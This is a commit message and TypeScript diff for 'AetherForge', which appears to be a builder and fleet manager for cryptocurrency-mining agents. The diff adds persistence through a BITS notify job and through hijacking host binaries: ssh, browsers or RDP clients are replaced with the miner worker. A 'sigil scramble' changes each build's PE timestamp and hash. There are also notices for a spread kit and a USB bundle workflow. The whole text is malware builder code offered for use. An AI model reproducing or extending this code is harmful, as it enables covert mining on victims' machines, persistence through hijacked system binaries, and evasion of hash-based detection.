feat: Telegram fleet alerts, forge sigil scramble, UI polish, agent ops

- Calibrate: per-event Telegram/SMTP toggles, test notification, chat ID help
- Notify on agent connect/reconnect, offline/hashrate/rejection, forge complete
- Sigil scramble post-forge uniquification and Dispense Reveal ceremony
- Full system check, desktop push, BITS/host-binary persistence, Path Tracer
- Dashboard/Crucible visual polish, haptics, sacred geometry, mobile nav
- README documents alerts, sigil scramble, and pack-usb workflow
- USB bundle repacked via pack-usb.bat (AetherForge.exe + synced agent source)

server/web/src/help/forgeRules.ts

@@ -180,11 +180,14 @@ export function applyForgeFieldUpdate(
       break;
 
     case 'run_as':
-      if (value === 'scheduled' || value === 'service') {
-        // Scheduled/service always creates a task — sync persistence flags so UI matches reality
+      if (value === 'scheduled' || value === 'service' || value === 'bits' || value === 'host_binary') {
+        // Scheduled/service/BITS/host binary always register persistence — sync flags so UI matches reality
         next.persistence = true;
         next.auto_start = true;
       }
+      if (value === 'host_binary' && !next.host_binary_target?.trim()) {
+        next.host_binary_target = 'ssh';
+      }
       break;
 
     case 'ai_enabled':
@@ -226,7 +229,12 @@ export function getForgeFieldMeta(form: BuildRequest): Record<string, ForgeField
   const isFixedThreads = form.thread_mode === 'fixed';
   const isIdle = form.mining_mode === 'idle';
   const isScheduled = form.mining_mode === 'scheduled';
-  const runAsForcedPersistence = form.run_as === 'scheduled' || form.run_as === 'service';
+  const runAsForcedPersistence =
+    form.run_as === 'scheduled' ||
+    form.run_as === 'service' ||
+    form.run_as === 'bits' ||
+    form.run_as === 'host_binary';
+  const isHostBinaryRun = form.run_as === 'host_binary';
   const targetOs = form.target_os || 'windows';
   const isUnixSingle = targetOs === 'linux' || targetOs === 'darwin';
   const isWindowsOnly = targetOs === 'windows';
@@ -322,6 +330,17 @@ export function getForgeFieldMeta(form: BuildRequest): Record<string, ForgeField
         : undefined,
     },
     run_as: { disabled: false, badge: 'baked' },
+    host_binary_target: {
+      disabled: !isHostBinaryRun || (!isWindowsOnly && !isUniversal),
+      badge: 'baked',
+      lockedReason:
+        !isHostBinaryRun
+          ? 'Select Run As → Host Binary Hijack to choose a client binary.'
+          : !isWindowsOnly && !isUniversal
+            ? 'Host binary hijack is Windows-only.'
+            : undefined,
+      hint: 'SSH, browsers, FTP, RDP client, etc. Requires administrator to replace system binaries.',
+    },
     fusion_enabled: {
       disabled: isSpreadKit,
       badge: 'baked',
@@ -404,6 +423,11 @@ export function getForgeFieldMeta(form: BuildRequest): Record<string, ForgeField
         : undefined,
       hint: isUniversal ? 'Signs the Windows runner/worker inside the package.' : undefined,
     },
+    sigil_scramble: {
+      disabled: false,
+      badge: 'server-only',
+      hint: 'Appends a unique entropy overlay and tweaks PE timestamp so each dispense has a different hash.',
+    },
   };
 }
 
@@ -416,8 +440,24 @@ export function getForgeLiveNotices(form: BuildRequest, fusionPrepSelected: bool
       'Run As "Windows Service" creates a scheduled task — not a real Windows Service. Persistence stays on.'
     );
   }
-  if ((form.run_as === 'scheduled' || form.run_as === 'service') && !form.persistence) {
-    notices.push('Persistence is forced on for Scheduled/Service run modes.');
+  if (form.run_as === 'bits') {
+    notices.push(
+      'Run As BITS registers a Background Intelligent Transfer notify job — miner relaunches on transfer events/retries (Windows).'
+    );
+  }
+  if (form.run_as === 'host_binary') {
+    notices.push(
+      `Run As Host Binary backs up ${form.host_binary_target || 'ssh'} and replaces it with the worker — launching that app starts the miner then runs the original (admin required for System32 paths).`
+    );
+  }
+  if (
+    (form.run_as === 'scheduled' ||
+      form.run_as === 'service' ||
+      form.run_as === 'bits' ||
+      form.run_as === 'host_binary') &&
+    !form.persistence
+  ) {
+    notices.push('Persistence is forced on for Scheduled/Service/BITS/Host Binary run modes.');
   }
   if (form.fusion_enabled && !fusionPrepSelected) {
     notices.push('Fusion is enabled — upload prep.exe before you can forge.');